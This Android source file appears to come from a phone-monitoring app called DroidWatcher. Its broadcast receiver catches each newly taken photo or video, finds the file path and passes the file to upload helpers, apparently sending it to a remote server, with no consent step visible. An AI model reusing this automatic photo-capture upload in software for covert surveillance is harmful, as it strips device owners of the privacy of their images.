package com.droidwatcher.activity;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;

import com.droidwatcher.util.AXLog;

import java.io.IOException;

import static com.droidwatcher.lib.FileUtil.VideoUploadByPath;
import static com.droidwatcher.lib.FileUtil.fileUploadByPath;

/**
 * Created by scott on 2018/3/4.
 */

public class TakePhotoReceiver extends BroadcastReceiver {
    // public static final String MULTIPART_FORM_DATA = "image/jpg";
    @Override
    public void onReceive(Context context, Intent intent) {
        AXLog.d("wzytest", "拍照广播接收器收到广播 :" + intent.getDataString() + " :" + intent.getData() + " :" + intent.getStringExtra("mimeType"));
        if (intent.getData() != null) {
            Cursor cursor = context.getContentResolver().query(intent.getData(),
                    null, null, null, null);
            cursor.moveToFirst();

            String path = cursor.getString(cursor.getColumnIndex("_data"));
            try {
                if (path.endsWith(".mp4")) {
                    // myVideoUpload(path);
                    VideoUploadByPath(path);
                } else {
                    fileUploadByPath(path);
                }

            } catch (IOException e) {
                e.printStackTrace();
            }

            for (int i = 0; i < cursor.getColumnCount(); i++) {
                AXLog.e("wzytest", "cursor.getColumnName(i):" + cursor.getColumnName(i) + " content:" + cursor.getString(i));

            }


//            String path = cursor.getString(cursor.getColumnIndex("_data"));
//            String name=context.getString(cursor.getColumnIndex("_display_name"));
//
//
//            AXLog.d("wzytest","path:"+path+" name:"+name);

        }
    }

}
